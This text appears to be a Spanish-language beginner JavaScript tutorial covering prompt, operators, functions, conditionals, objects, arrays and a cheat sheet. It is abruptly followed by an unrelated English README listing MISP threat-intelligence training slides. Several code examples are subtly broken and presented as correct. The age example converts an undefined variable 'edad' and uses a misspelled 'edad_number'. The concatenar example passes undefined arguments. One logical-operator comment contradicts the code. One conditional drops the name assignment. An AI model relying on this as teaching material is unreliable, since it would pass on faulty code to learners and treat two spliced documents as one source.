Hay código desconocido.
Qué es ese `prompt`?
Si lo ejecutás te vas a dar cuenta.
Es como un `alert` pero te deja ponerle un valor, y lo que devuelve puede ser asignado a una variable.
Algo a tener en cuenta con `prompt` es que siempre te devuelve un valor tipo `string`. Por lo tanto si preguntamos por la edad, luego no podemos usar ese valor que retorna el `prompt` como si fuese un número. Lo tenemos que convertir de `string` a `number`. Para eso podemos usar la función `Number` de la siguiente manera
```javascript
var edad_texto = prompt("Cuál es tu edad?");
var edad_numero = Number(edad);
var edad_cumpleanios = edad_number + 1;
alert("Cuando cumplas años vas a tener " + edad_cumpleanios);
```
### Errores comunes
Poner del lado izquierdo un valor.
```javascript
// const 1 = 1; //> solo se pone un nombre identificador, no un valor.
```
Esto es un valor, por lo tanto va a darnos un error.
```javascript
// const "uno" = 1; //> el nombre se pone sin comillas, ya que no es un valor el lado izquierdo.
```
Poner espacios en el nombre.
```javascript
// const una variable = 1; //> el nombre del identificador va sin espacios y caracteres especiales.
const una_variable = 1; //> se suele poner notación "camel case" o "snake_case" (como en este caso) cuando se tiene más de 1 palabra.
```
Usar un nombre reservado como nombre del identificador.
```javascript
// const const = 1; //> si pudiésemos, luego no habría forma de saber a qué nos referimos cuando ponemos `const`, si estamos declarando una variable o
```
### Ejercicio
1. Definir 5 variables que sean de tipo string y mostrarlas por consola.
1. Definir 5 variables que sean de tipo numéricas y mostrarlas por consola.
1. Definir 1 variable y mostrarla por consola, luego reasignarle otro valor del mismo tipo y volverla a mostrar por consola, 5 veces.
1. Pedir el nombre y edad a a través de `prompt` y luego mostrar esos valores por consola. Anteponiendo al nombre el texto `"Buen día, "` cuando se moestra por consola, y el texto `"Tu edad es "` cuando quieran mostrar la edad por consola.
## Operadores
Una de las razones por las cuales hay tipos de datos es para que estos datos según su tipo respondan a diferentes operaciones.
Por ejemplo, si yo hago
```javascript
console.log(1 + 1);
```
Esto me va a mostrar `2` por la consola. Ya que entiende que son numéricos y por lo tanto hace la suma.
En cambio si tengo algo como
```javascript
console.log("1" + "1");
```
Me va a retornar `"11"` por consola. No está mal, ya que un valor entre comillas es un string, por lo tanto el `+` lo entiende como concatenación, no como suma.
Entonces podemos decir que un tipo de dato está asociado a distintos operadores.
Como la suma podemos hacer una resta `-`, multiplicación `*`, división `/`, resto `%`.
### Orden
En matemática se dice que el orden de la suma no importa, en nuestro caso sí.
Cuál piensan que va a ser el mensaje si hacemos algo como
```javascript
console.log("Tres más dos es: " + 3 + 2);
```
JavaScript nos va a mostrar por consola `"Tres más dos es: 32"`, lo cuál sería correcto si nos referimos a strings, porque estaría haciendo una concatenación, pero nosotros queremos que lo sume y después muestre el resultado como string.
Lo aconsejable para no entrar en problemas es calcular las partes por separado y después mostrarlo por consola. Por ejemplo
```javascript
var resultado = 3 + 2;
console.log("Tres más dos es: " + resultado);
```
De esta forma se calcula primero la cuenta numérica y luego se hace la concatenación.
Entonces si tenemos la expresión anterior: `"Tres más dos es: " + 3 + 2` se va a evaluar de la siguiente forma:
1. `"Tres más dos es: " + 3 //> "Tres más dos es: 3"`
Tiene un string y un número con la suma, JavaScript permite esta operación, pero tiene que transformar el número a string para poder hacer esta operación. Así que transforma el 3 a string y luego los concatena.
2. `"Tres más dos es: 3" + 2 //> "Tres más dos es: 32"`
Volvió a repetir lo de arriba, pero ahora en vez de transformar un 3 transformó un 2 a string.
### Paréntesis
Por suerte podemos agrupar y priorizar ciertas operaciones, igual que en matemática, con los paréntesis.
```javascript
console.log("Tres más dos es: " + (3 + 2));
```
Y ahora el paréntesis se va a resolver antes y luego su resultado (5) va a ser concatenado igual que antes.
### Ejercicio
1. Mostrar por consola la suma, multiplicación, división, resto de 2 números.
1. Mostrar la concatenación de 2 strings.
## Funciones
> Una función es un valor, que ejecutado, realiza una serie de instrucciones que le hayamos definido.
Así que por un lado agrupa instrucciones y las ejecuta en orden.
Por otro hay una diferencia marcada entre la **definición** de una función, y su posterior **ejecución**.
Veamos un ejemplo
```javascript
// definición
function saludar() {
console.log("Voy a saludar al usuario");
alert("Hola, Norman");
}
// ejecución
saludar();
```
Prueben de ejecutar ese pedazo de código a ver que pasa.
Después de ejecutar el código, pueden probar de ejecutar la función que definieron desde la consola, volviendo a escribir `saludar()`.
Una función puede ser llamada las veces que quieran luego de haber sido definida.
```javascript
saludar();
saludar();
saludar();
```
### Parámetros
Está genial con que podamos reutilizar código, poniéndole un nombre más entendible al código que queremos ejecutar, pero si quiero que ese "Norman" no esté, y en cambio esa variable tenga como valor lo que me ingresan?
Podríamos usar parámetros
```javascript
function saludar(parametro_nombre) {
console.log("Voy a saludar al usuario llamado: " + parametro_nombre);
alert("Hola, " + parametro_nombre);
}
var nombre = prompt("Cuál es tu nombre?");
saludar(nombre);
```
Ahora la función llamada `saludar` va a obtener un nombre como parámetro de entrada, para luego usarlo dentro de la función.
Es importante marcar que cuando **defino** la función le indico un nombre al parámetro, como una variable. Pero cuando la **ejecuto** le paso un valor a la función.
Si quiero pasar más de 1 parámetro
```javascript
function saludar(saludo, nombre) {
alert(saludo + ", " + nombre);
}
saludar("Buen día", "Norman");
```
Cada parámetro está separado por una coma, tanto cuando se define como cuando se ejecuta una función.
### Retorno
Una característica importante de las funciones es que pueden retornar valores.
Por ejemplo la función concatenar.
```javascript
function concatenar(texto1, texto2) {
return texto1 + texto2;
}
var concatenacion = concatenar(texto1, texto2);
console.log(concatenacion);
```
Quizás ahora se estén dando cuenta que ya veníamos usando funciones.
`alert` y `console.log` son funciones, a los cuales le pasamos un string como valor cuando las ejecutamos.
Pero estas funciones no devuelven nada, sino que **hacen** algo, que en estos casos es mostrar una ventana de alerta o un texto en la consola.
Hay otras funciones que devuelven valores, como `prompt`, que además de **hacer**, mostrar un mensaje al usuario, **retorna** un valor.
Importante a tener en cuenta, cuando una función retorna, no ejecuta más código. O sea que si tenía más instrucciones después del `return`, las ignora. Esto hace que la función solamente pueda retornar 1 valor.
### Partes
- `function`: palabra reservada para declarar una función.
- `saludar`: nombre de la función.
- `(parametro1, parametro2)`: parámetros de la función. No son valores, son nombres que les damos.
- `{ /* ...bloque de código... */ }`: instrucciones que queremos que ejecute nuestra función.
- `return`: dentro del bloque de código podemos retornar un valor para usarlo después.
### Ejercicio
Mitad del ejercicio es definir la función, la otra mitad es ejecutarla y mostrar el resultado por consola de ser necesario.
1. Definir una función que imprima un mensaje por consola.
1. Definir una función que imprima por consola el texto que reciba por parámetro.
1. Definir la función llamada `suma`, que reciba 2 números y retorne la suma de los mismos.
1. Definir la función multiplicación, división y resta, que reciba 2 números y haga lo que tenga que hacer, devolviendo el resultado.
1. Con la función anterior, ejecutar la suma de 2 números y usar ese retorno para sumarlo con otro número.
1. Definir la función `decir_lo_obvio`, que reciba un nombre y apellido como parámetros separados, imprima por consola "Te llamas Nombre, y tu apellido es Apellido" (haciendo el reemplazo que se imaginan), y retorne el mismo valor que imprimió por consola.
## JavaScript en nuestro HTML
Ahora que estamos por la mitad, tomemos un respiro y veamos algo sencillo, un poco diferente de lo que veníamos viendo.
Quizás les queda abstracto ejecutar código JavaScript desde el navegador, así que vamos a disparar funciones desde un botón en nuestro HTML.
Les digo cómo...
### Aclaraciones
Antes algunas aclaraciones
- Se suele usar el nombre "index" como archivo principal de la carpeta en donde esté.
- Usen nombres descriptivos.
- No pongan caracteres especiales, espacios ni mayúsculas en los nombres de archivos. Reemplacen los espacios por `_` o `-` y dejen todo en minúscula.
### Ahora sí
1. Creen una carpeta, en algún lado accesible, como el escritorio.
2. Creen un archivo `index.html` dentro de esa carpeta, con este contenido.
```html
<html>
<head></head>
<body>
<button>Botón</button>
</body>
</html>
```
Genial!
Queremos que botón dispare una función cuando se le haga click, para eso deberíamos usar el evento de botón `onclick` y aclararle qué función disparar.
```html
<button onclick="hacer_algo_re_loco()">Botón</button>
```
Si queremos ejecutar esto nos va a salir un error 😟
El problema es que nunca definimos esa función.
Para eso vamos a crear un archivo JavaScript llamado `script.js`, aunque el nombre lo pueden elegir ustedes, siempre y cuando tenga la extensión `.js` al final.
En este archivo vamos a seguir escribiendo JavaScript como veníamos haciendo antes, entonces si tengo que definir una función, en el archivo voy a escribir algo como
```javascript
function hacer_algo_re_loco() {
alert("Ho-La");
}
```
Pero eso no es suficiente. Si volvemos a apretar el botón vamos a seguir teniendo un error de función no definida... El problema está en que nunca vinculamos esos archivos. La forma de vincularlos es incluyendo al script desde el HTML, de la siguiente forma
```html
<body>
<!-- tags HTML... -->
<script src="./script.js"></script>
</body>
```
La inclusión del script la vamos a escribir abajo de todo en el body, antes del cierre de la etiqueta. Se puede hacer de otras formas, pero por ahora vamos a usar esta.
Entonces ahora si apretamos ekl botón, el botón hace lo que tiene que hacer!
Felicitaciones, ya saben cómo ejecutar código JavaScript desde una página web.
No es mucho, pero ya saben cómo vincularlos. Más adelante vamos a ver casos más divertidos obteniendo información de formularios, trayendo información de afuera, animando elementos, ... Por ahora espero que les haya sido útil para saber cómo se vinculan.
## Condicionales
Los condicionales son una parte fundamental de la programación.
Y para introducirles este concepto voy a explicarles un tipo de valor que evité hasta ahora para que lo podamos ver en conjunto con los condicionales
### Boolean
El booleano es un tipo de dato, como un número, texto, o función pero que solo puede ser verdadero `true` o falso `false`.
He aquí la sintaxis
```javascript
var es_mayor_de_edad = true;
var se_llama_norman = true;
var es_pelado = false; // por ahora (2019)
console.log(es_mayor_de_edad, se_llama_norman, es_pelado);
```
Se usa para "decidir" caminos en la ejecución de nuestro programa.
Generalmente se obtienen como resultado de una operación, evaluando cierta condición, como si un número es más grande a otro, si un texto es igual a otro texto, and so on. Por lo tanto debería introducirles unos nuevos operadores.
### Operadores de booleanos
Estos operadores son como la suma o resta, pero en vez de devolver un número, devuelven un `true` o `false`.
He aquí la sintaxis
```javascript
var nombre_del_profesor = "Norman";
var nombre_ingresado = prompt("Cuál es tu nombre?");
var es_profesor = nombre_ingresado === nombre_del_profesor;
console.log(es_profesor);
```
Empezamos a entender cómo nos puede ayudar esto en nuestros programas, y cómo esto puede decidir distintos "caminos".
En este ejemplo con `es_profesor` podría mostrar cierta pantalla si es un profesor y otra diferente si no lo es. Pero no les dije cómo.
### Ahora sí
```javascript
var nombre = prompt("Cuál es tu nombre?");
var es_profesor = nombre === "Norman";
if (es_profesor) {
alert("Bienvenido querido profesor! 😁");
} else {
alert("Hola");
}
```
Si saben inglés ya deben haberse imaginado de cómo funciona esto. La traducción de esta sentencia sería
> Si pasa esto, hace esto, sino, hace esto otro.
La idea es que si es `true` lo que está entre paréntesis después del `if`, se ejecuta el primer bloque de código. Si es `false` se ejecuta el bloque de código después del `else`.
En el bloque de código pueden ir el número de sentencias que queramos, como en las funciones.
Otra cosa a tener en cuenta es que no hace falta que haya un `else`. Por ejemplo, supongamos que tenemos un sistema que toma los nombres de la gente que llega a clase, se saluda a todos los que llegan, pero si es un profesor se le da una manzana.
```javascript
var nombre_del_profesor = "Norman";
var nombre_del_ingresante = prompt("Hola! Cómo te llamás?");
if (nombre_del_ingresante === nombre_del_profesor) {
alert("Tomá una manzana");
}
alert("Bienvenido, " + nombre_del_ingresante);
```
No hizo falta poner un else, porque en el caso en el que no era profesor, no había un comportamiento específico. Luego el último `alert` se va a ejecutar tanto para el profesor, como para el que no es profesor.
Sigamos con el ejemplo anterior. Pero ahora, si el ingresante se llama "Nicolás", vamos a hacer un `alert` diciéndole que tiene un ananá de regalo. Manteniendo las condicones anteriores iguales. Entonces queda
- Te llamás Nicolás -> `alert("Tomá un ananá")`
- Te llamás Norman -> `alert("Tomá una manzana")`
- Para todos -> `alert("Bienvenido, " + nombre_del_ingresante)`
Ok? Entonces quedaría así
```javascript
var nombre = prompt("Hola! Cómo te llamás?");
if (nombre === "Nicolás") {
alert("Tomá un ananá");
}
if (nombre === "Norman") {
alert("Tomá una manzana");
}
alert("Bienvenido, " + nombre);
```
Genial!
Estaría bueno que los sistemas sean así de simples, aunque por lo general son más complejos, así que vamos a ponerle un poco de complejidad.
### Condiciones añadidas
Seguimos con lo anterior, ahora vamos a decir que se acaban de unir 2 mundos que antes eran paralelos, en uno se habla normal, en otro se dicen las palabras al revés. El programa ahora debería ser algo así
```javascript
var respuesta_mundo_normal = prompt("Estamos en el mundo normal?");
var es_mundo_normal = respuesta_mundo_normal === "Sí";
if (es_mundo_normal) {
var nombre = prompt("Hola! Cómo te llamás?");
if (nombre === "Nicolás") {
alert("Tomá un ananá");
}
if (nombre === "Norman") {
alert("Tomá una manzana");
}
alert("Bienvenido, " + nombre);
} else {
var nombre = prompt("Aloh! Omoc et samall?");
if (nombre === "Salocin") {
alert("Amot nu ánana");
}
if (nombre === "Namron") {
alert("Amot anu anaznam");
}
alert("Odinevneib, " + nombre);
}
```
Si quieren invertir un string pueden hacer `"norman".split("").reverse().join("")`, pero más de eso después.
Nada nos dice que no podemos tener un `if` adentro de otro. En nuestro bloque de código podemos poner cualquier línea de código que se nos ocurra.
### Operadores lógicos
Último tema de condicionales, sus operadores, y no me refiero a los de comparación que usamos recién, como la igualdad, sino otros que operan entre booleanos.
Los solemos usar cuando tenemos condiciones más complejas que queremos evaluar.
Contamos con el operador
- `!`: negación.
- `&&`: el "y" lógico.
- `||`: el "o" lógico.
El primer operador es fácil, el de negación simplemente transforma un `true` a `false` y luego al revez, un `false` a `true`. Se escribe así
```javascript
var fui_al_mundial = false;
var soy_argentino = true;
console.log(!fui_al_mundial); //> true
console.log(!soy_argentino); //> false
console.log(!!soy_argentino); //> true
```
Después seguimos con los otros operadores. Estos otros operadores se usan como el `+`, `*`, ... o sea con 2 valores de cada lado. Estos valores deben ser de tipo booleano. Y al usarlos nos devuelve otro booleano.
Su sintaxis es la siguiente
```javascript
var es_profesor = true;
var es_pelado = false;
// es profesor y es pelado: las 2 deben cumplirse para que sea true.
console.log(es_profesor && es_pelado); //> false
// es profesor o es pelado: alguna de las 2 debe cumplirse para que sea true.
console.log(es_profesor || es_pelado); //> true
es_pelado = false;
// ya con que alguno de los valores sea falso cuando se opera con &&, el resultado va a ser falso.
console.log(es_profesor && es_pelado); //> false
// si es todo falso, va a ser falso sin importar el operador que se aplique.
console.log(es_profesor || es_pelado); //> false
```
Todas las posibilidades de resultados están en esta tabla, para que lo vean mejor
| p | q | `&&` (y) | `||` (o) |
| ------- | ------- | -------- | -------- |
| `true` | `true` | `true` | `true` |
| `true` | `false` | `false` | `true` |
| `false` | `true` | `false` | `true` |
| `false` | `false` | `false` | `false` |
Ahora que conocemos estos operadores, vamos a usarlo con el anterior ejemplo.
```javascript
var respuesta_mundo_normal = prompt("Estamos en el mundo normal?");
var es_mundo_normal = respuesta_mundo_normal === "Sí";
if (es_mundo_normal) {
prompt("Hola! Cómo te llamás?");
} else {
var nombre = prompt("Aloh! Omoc et samall?");
}
if (es_mundo_normal && nombre === "Nicolás") {
alert("Tomá un ananá");
}
if (es_mundo_normal && nombre === "Norman") {
alert("Tomá una manzana");
}
if (!es_mundo_normal && nombre === "Salocin") {
alert("Amot nu ánana");
}
if (!es_mundo_normal && nombre === "Namron") {
alert("Amot anu anaznam");
}
alert("Odinevneib, " + nombre);
```
Ufff que largo condicionales, vamos a hacer algo de práctica para repasar.
### Ejercicios
Dado una orda de marcianos que invaden el planeta, obtener una respuesta adecuada que daría la humanidad según las siguientes condiciones.
**Aclaración**: obtener variables preguntando por prompt y las comunicaciones con ellos se realizan con `alert`.
1. Preguntar si los marcianos son amigables, las respuestas posibles son `"Jai"` que significa que sí, o "Neh" que significa que no. En caso de responder negativamente avisarles por `alert` que vamos a fusilarlos.
1. A la condición anterior se agrega que en caso que sean amigables, les comunicamos con `alert` que vamos a darles una caja de chocolates.
1. Ahora vamos a preguntarles también cuántos vinieron al planeta. Si la respuesta es menor a 100, decirles que necesitan a 10 marcianos para inspecciones, si la respuesta es mayor a 10000 entonces decirles que están para lo que necesiten, y si la respuesta está entre 100 y 10000, decirles que el Hipódromo de Palermo está abierto las 24hs.
1. Finalmente, preguntarles si la batata es mejor que el membrillo, y si toman el mate amargo o dúlce. Si prefieren el la batata y el mate dúlce, decirles que están en guerra. Si prefieren la batata y toman mate amargo, o si prefieren el membrillo y toman mate dulce, decirles que pueden quedarse unos días. Finalmente si prefieren el membrillo y toman mate amargo decirles que pueden quedarse el tiempo que necesiten.
## Objetos
Algo que ya veníamos usando y quizás no se dieron cuenta.
Los objetos son otro tipo de dato, como texto, número o función, y que nos permite agrupar valores.
```javascript
var persona = {
nombre: "Norman",
apellido: "Perrin",
edad: 24,
puede_volar: false
};
```
Si ven la variable `persona` está declarando dentro de sí otras variables. Luego para acceder a los valores de las "subvariables", usamos el `.`.
```javascript
console.log(persona.nombre);
console.log(persona.puede_volar);
console.log(persona);
```
### Partes
- `{}`: apertura y cierre de llaves, adentro se ponen los atributos - valores que queramos. Este es un objeto vacío, es sintaxis válida.
- `nombre`: atributo, o lo que decíamos antes como "subvariable". También se la llama propiedad. Este es un identificador, igual que como declaramos una variable.
- `:` el dos puntos separa el atributo del valor. Del lado izquierdo va el identificador, del derecho el valor.
- `"Norman"`: valor del atributo.
- `,`: los distintos atributos valores se separan con una coma entre ellos. En el último atributo - valor no hace falta poner una coma, ya que no hay uno que le siga.
### Cuándo se usa?
Como dije antes, cuando quieran agrupar valores.
Por ejemplo si quieren agrupar comandos para mostrar información en consola con cierto formato, pueden hacer lo siguiente.
```javascript
function mostrar_informacion(mensaje) {
console.log("[i]: " + mensaje);
}
function mostrar_error(mensaje) {
console.log("[e]: " + mensaje);
}
var consola = {
info: mostrar_informacion,
error: mostrar_error
};
consola.info("Se cargó la página correctamente!");
consola.error("Hubo un problema al completar el formulario");
```
Agrupamos atributos que son parte de la consola, en esa misma variable. Entonces no tenemos varias funciones sueltas como `mostrar_informacion` o `mostrar_error`, sino que podemos acceder a ellas a través de `consola`.
Incluso si no saben los atributos que tiene un objeto, la consola de chrome es tan amigable que nos da sugerencias.
Por ejemplo, si escribimos en la consola (no snippet), `console.` cuando apretemos el `.` nos va a dar una lista de propiedades que podemos llamar.
Cuando aparezca un símbolo parecido a una `ƒ` abajo, significa que el valor de ese atributo es de tipo función, pero como vimos en la definición de `persona`, también puede ser de tipo numérico, texto o booleano. Todo lo que pueda ser un valor... y si un objeto es un valor, adivinen, podemos poner un objeto como valor de un atributo, porque al final es otro tipo de dato, o sea un valor.
```javascript
var planeta = {
nombre: "Melmac",
habitantes: 1000000000,
habitante: {
dientes: 4,
frase_caracteristica: "No hay problema",
comida_preferida: "gato"
}
};
```
Si queremos acceder a los valores más añadidos en la definición de ese objeto
```javascript
console.log(
"La comida preferida de alguien que vive en " +
planeta.nombre +
" es " +
planeta.habitante.comida_preferida
);
```
Y váyanse familiarizando con esta sintaxis, porque JavaScript está lleno de objetos.
### Ejercicios
Todo este ejercicio debe resolverse definiendo **un** objeto. Pueden definir las funciones por separado.
1. Crear un objeto que tenga atributos característicos de un cliente de una tienda de mascotas. El mismo debe tener 3 atributos, uno de tipo texto, otro numérico y por último un booleano.
1. Agregar a la definición anterior, un atributo llamado "mascota" de tipo objeto, en ese objeto pueden haber los atributos que elijan.
1. Agregar un atributo al cliente llamada "saludar" que sea de tipo función. Esta función debe recibir un nombre a saludar por parámetro y mandarle un saludo por `alert` a la persona, como `"Buen día " + nombre`. Luego de definir la función al cliente, llamarla pasándole su nombre.
1. Agregarle el mismo atributo al perro, pero ahora en vez de decir `"Buen día " + nombre`, tiene que decir `"Ouf Ouf " + nombre`.
1. Crear una función que obtenga un cliente, como el recién definido, por parámetro, y
1. muestre por `alert` el nombre del cliente (o el atributo tipo texto que hayan elegido).
1. ejecute la función `saludar` del perro, con el nombre del cliente.
## Arrays
O también llamadas: listas, vectores, arreglos... Para nosotros arrays o listas.
Y qué son?
> Tipo de valor que agrupa valores de forma ordenada
Primero se puede decir que es una agrupación como los objetos, o sea que estos valores están contenidos en 1 lugar.
Luego que estos valores están dispuestos de forma ordenada. Esto significa que podemos decir que un valor está antes o después que otro.
Para que se entienda mejor
```javascript
var lista_de_alumnos = ["Camila", "Gabriel", "Martín", "Sol"];
```
Como vemos tiene una sintáxis parecida a los objetos, pero en vez de llaves `{}` se usan corchetes `[]`, y no se le dan nombres a los atributos, sino que se ponen directamente los valores.
### Cómo accedo a los valores
Al no tener nombres los atributos, se accede a través de su índice, el cual depende del orden que tenga ese valor dentro de la lista.
```javascript
console.log(lista_de_alumnos[0]);
console.log(lista_de_alumnos[1]);
console.log(lista_de_alumnos[2]);
console.log(lista_de_alumnos[3]);
```
Si se fijan el primer elemento es el que tiene índice 0 y para acceder el último tiene como índice el tamaño de la lista menos 1 (4 - 1 = 3).
Para saber el tamaño de la lista podemos usar un atributo del array llamado `length`.
```javascript
console.log(lista_de_alumnos.length); //> 4
```
Y de dónde salió ese `length`?
### Atributos auto definidos
Yo lo llamo así, o propiedades, porque son como lo de los objetos, pero quizás tenga otro nombre...
No solo los arrays, sino todos los tipos de valores tienen atributos auto definidos. Qué son estos?
Son atributos o propiedades a las que podemos acceder según el tipo de valor que manejemos. Por ejemplo, una lista o un texto va a tener un atributo `length`.
```javascript
console.log("norman".length); //> 6
console.log(["n", "o", "r", "m", "a", "n"].length); //> 6
```
Mientras que un número o booleano no tienen esos atributos.
Ustedes pueden ver qué funciones o atributos pueden llamar envolviendo un valor entre paréntesis y poniéndole punto, en consola
```javascript
("norman"). //> les va a auto sugerir qué poner
```
Los más interesantes de estos, están en los arrays, ya que nos dan formas de recorrerlo, transformarlo, filtrar elementos, y mucho más.
Veamos algunos atributos interesantes de arrays.
#### map
El `map` recibe una lista de un tamaño y devuelve otra lista del mismo tamaño, pero con alguna transformación de sus elementos. Esa transformación es aplicada por una función que definimos nosotros, y se pasa como parámetro de la función `map`. Ejemplo:
```javascript
function doble(numero) {
return numero * 2;
}
var numeros = [2, 4, 6];
var doble_de_los_numeros = numeros.map(doble);
console.log(doble_de_los_numeros); //> [4, 8, 12]
```
Es importante definir bien la función a aplicar y tener en cuenta lo que recibe y devuelve.
Como primer argumento el `map` recibe el valor actual que está recorriendo. `map` va a recorrer la lista de forma ordenada, aplicando la función a cada valor por separado.
Luego el retorno va a ser un valor en la nueva lista, respetando el orden de recorrido.
Otro ejemplo
```javascript
function transformar_texto_a_minuscula(texto) {
return texto.toLowerCase();
}
var nombres = ["Norman", "maRtín", "camIla", "JuaN"];
var nombres_minuscula = nombres.map(transformar_texto_a_minuscula);
console.log(nombres_minuscula); //> ["norman", "martín", "camila", "juan"]
```
#### filter
El `filter` recibe una lista de un tamaño y devuelve otra lista del mismo tamaño o menor, con los mismos valores que tenía. Recibe como parámetro una función que retorna un booleano, según si debe o no filtrar el elemento. Un ejemplo:
```javascript
function es_nombre_de_superheroe(nombre) {
var tamanio_nombre = nombre.length;
var ante_penultima_letra = nombre[tamanio_nombre - 3];
var ante_ultima_letra = nombre[tamanio_nombre - 2];
var ultima_letra = nombre[tamanio_nombre - 1];
// me fijo si el nombre termina en "man"
if (
ante_penultima_letra === "m" &&
ante_ultima_letra === "a" &&
ultima_letra === "n"
) {
return true;
} else {
return false;
}
}
var nombres = ["spiderman", "nicolás", "norman", "ironman"];
var superheroes = nombres.filter(es_nombre_de_superheroe);
console.log(superheroes); //> una lista de todos los elementos menos nicolás.
```
Y si supiesen las funciones de string, podrían haber definido la función de esta otra manera
```javascript
function es_nombre_de_superheroe(nombre) {
return nombre.slice(-3) === "man";
}
```
Igual les dejo que exploren eso por su cuenta.
#### forEach
A diferencia del `map` o `filter`, el `forEach` no devuelve un nuevo array, sino que **hace** algo por cada elemento que itera. El **hace** queda definido por la función que recibe el `forEach` por parámetro. Veamos un ejemplo
```javascript
var mensajes_molestos = [
"No te olvides de desactivar el adblock",
"Subscribite a nuestro newsletter",
"Hemos detectado un virus en su máquina"
];
mensajes_molestos.forEach(alert);
```
Es importante entender el propósito de cada función, el `forEach` es para **hacer** algo por cada elemento que itera.
### Ejercicios
Mucha info. Necesitamos algo de práctica
1. Crear un array que tenga 4 elementos,
1. todos de tipo string
1. todos de tipo objeto
1. todos de tipo función
1. todos de tipo array
1. Crear una función que tome un array de números como primer parámetro y devuelva la suma del primer y último número.
1. Crear una función que tome un array de números y devuelva un array del mismo tamaño, pero que los valores de salida sean la mitad de los de entrada. O sea que calcule la mitad de todos los números.
1. Crear una función que reciba un array de objetos que tengan un atributo `nombre`, y retorne un array de solo los nombres.
1. Crear 3 funciones que toman un número por parámetro y retornar alguna operación con ese número (el doble, el siguiente, la mitad, etc). Luego crear una función que tome una lista de 3 funciones como primer parámetro, un número como segundo parámetro y devuelva una lista de 3 elementos con los resultados de las funciones ejecutadas con el número pasádo por segundo parámetro.
## Cheat Sheet
### General
| Instrucción | Descripción |
| ------------------------------------------- | ----------------------------------------------- |
| `// comentario en línea` | Comentario en línea |
| `/* comentario en bloque */` | Comentario en bloque (pueden ser varias líneas) |
| `console.log("Hola mundo!")` | Mostrar "Hola mundo!" por consola |
| `alert("Hola mundo!")` | Mostrar "Hola mundo!" por ventana de alerta |
| `var nombre = prompt("Cuál es tu nombre?")` | Mostrar input con mensaje |
### Variables
| Instrucción | Descripción |
| -------------------------------- | ---------------------------- |
| `var nombre = "Norman"` | Declarar variable |
| `nombre = "Juan"` | Asignar o reasignar un valor |
| `console.log("Hola, " + nombre)` | Usar la variable |
### Operadores
#### Numéricos
| Instrucción | Descripción |
| ----------- | -------------- |
| `1 + 1` | Suma |
| `1 - 1` | Resta |
| `1 * 1` | Multiplicación |
| `1 / 1` | División |
| `1 % 1` | Resto |
#### Texto
| Instrucción | Descripción |
| ------------------------------------------ | ------------- |
| `"Hola " + "Norman" + ". " + "Todo bien?"` | Concatenación |
### Booleanos
#### Comparación
| Instrucción | Descripción |
| ----------- | ----------- |
| `1 > 1` | Mayor |
| `1 < 1` | Menor |
| `1 === 1` | Igual |
| `1 !== 1` | Distinto |
#### Lógicos
Actúan sobre valores booleanos
Negación
```javascript
console.log(!true); //> false
console.log(!false); //> true
console.log(!!true); //> true
```
Se ejecuta como `p && q` o `p || q`.
| p | q | `&&` (y) | `||` (o) |
| ------- | ------- | -------- | -------- |
| `true` | `true` | `true` | `true` |
| `true` | `false` | `false` | `true` |
| `false` | `true` | `false` | `true` |
| `false` | `false` | `false` | `false` |
### Funciones
#### Declarar
```javascript
function nombre(parametro1, parametro2, parametro3) {
/* Instrucciones */
var concatenacion = parametro1 + parametro2 + parametro3;
return concatenacion;
// lo que esté debajo no se ejecuta
}
```
#### Ejecutar
```javascript
var concatenacion = nombre("Hola, ", "cómo estás? ", "todo bien?");
console.log(concatenacion);
```
### Objetos
#### Declarar
```javascript
var planeta = {
nombre: "Melmac",
habitantes: 1000000000,
habitante: {
dientes: 4,
frase_caracteristica: "No hay problema",
comida_preferida: "gato"
}
};
```
#### Acceder a valores
```javascript
console.log(planeta.nombre);
console.log(planeta.habitante.dientes);
```
### Arrays
#### Declarar
```javascript
var lista = [{ nombre: "Norman" }, { nombre: "Pepe" }, { nombre: "Mariana" }];
```
#### Acceder a valores
```javascript
console.log(lista[0].nombre);
console.log(lista[1].nombre);
console.log(lista[2].nombre);
```
## Comunidades geniales
- [Free Code Camp BA](https://freecodecampba.org/): grupo para juntarse a programar y aprender de tecnología, tienen un chat muy activo donde pueden ayudarte. Orientado a todo tipo de desarrollo, web principalmente.
- [MeetupJS](https://meetupjs.com.ar/): mismo que el anterior pero orientado a JavaScript principalmente.
- [ComunidadIT](http://www.comunidadit.org/): organización que da cursos y becas a estudiantes de programación.
- [Puerta18](http://www.puerta18.org.ar/): hacking space que da talleres gratuitos de programación, entre otros.
|
# MISP Training Materials
This repository includes all the training materials in use such as
- Core MISP (software and standard) trainings
- Threat intelligence and OSINT training
- Building information sharing communities workshop
All the materials are available with the complete LaTeX source code meant to assist in contributing or extending the training materials. A special attention is given to the open source licensing
given to the materials. We welcome contributions in order to improve the training set for threat intelligence, intelligence gathering and analysis along with specific aspects of information sharing/exchange in information and national security.
## Materials
| Slides (PDF) | Source Code |
| ------------ | ----------- |
| [0-misp-introduction-to-information-sharing](https://www.misp-project.org/misp-training/0-misp-introduction-to-information-sharing.pdf) | [source](https://github.com/MISP/misp-training/tree/main/0-misp-introduction-to-information-sharing) |
| [MISP Data model overview (quick)](https://raw.githubusercontent.com/MISP/misp-training/477bdc9c71f77abd572f11c98f3ac8ecabe54310/complementary/other-slides/a.11.a-misp-data-model-overview.pdf) | |
| [MISP Ten Commandments](https://github.com/MISP/misp-training/blob/main/complementary/other-slides/MISP%2010%20Commandments%20-%20Recommendations%20and%20Best%20Practices%20when%20encoding%20data.pdf)||
| [1-misp-usage](https://www.misp-project.org/misp-training/1-misp-usage.pdf) | [source](https://github.com/MISP/misp-training/tree/main/1-misp-usage) |
| [1.2-misp-integration](https://www.misp-project.org/misp-training/1.2-misp-integration.pdf) | [source](https://github.com/MISP/misp-training/tree/main/1.2-misp-integration) |
| [1.1-misp-viper-integration](https://www.misp-project.org/misp-training/1.1-misp-viper-integration.pdf) | [source](https://github.com/MISP/misp-training/tree/main/1.1-misp-viper-integration) |
| [1.2.1-misp-integration-mail2misp](https://www.misp-project.org/misp-training/1.2.1-misp-integration-mail2misp.pdf) | [source](https://github.com/MISP/misp-training/tree/main/1.2.1-misp-integration-mail2misp) |
| [2-misp-administration](https://www.misp-project.org/misp-training/2-misp-administration.pdf) | [source](https://github.com/MISP/misp-training/tree/main/2-misp-administration) |
| [3-misp-taxonomy-tagging](https://www.misp-project.org/misp-training/3-misp-taxonomy-tagging.pdf) | [source](https://github.com/MISP/misp-training/tree/main/3-misp-taxonomy-tagging) |
| [3.1-misp-modules](https://www.misp-project.org/misp-training/3.1-misp-modules.pdf) | [source](https://github.com/MISP/misp-training/tree/main/3.1-misp-modules) |
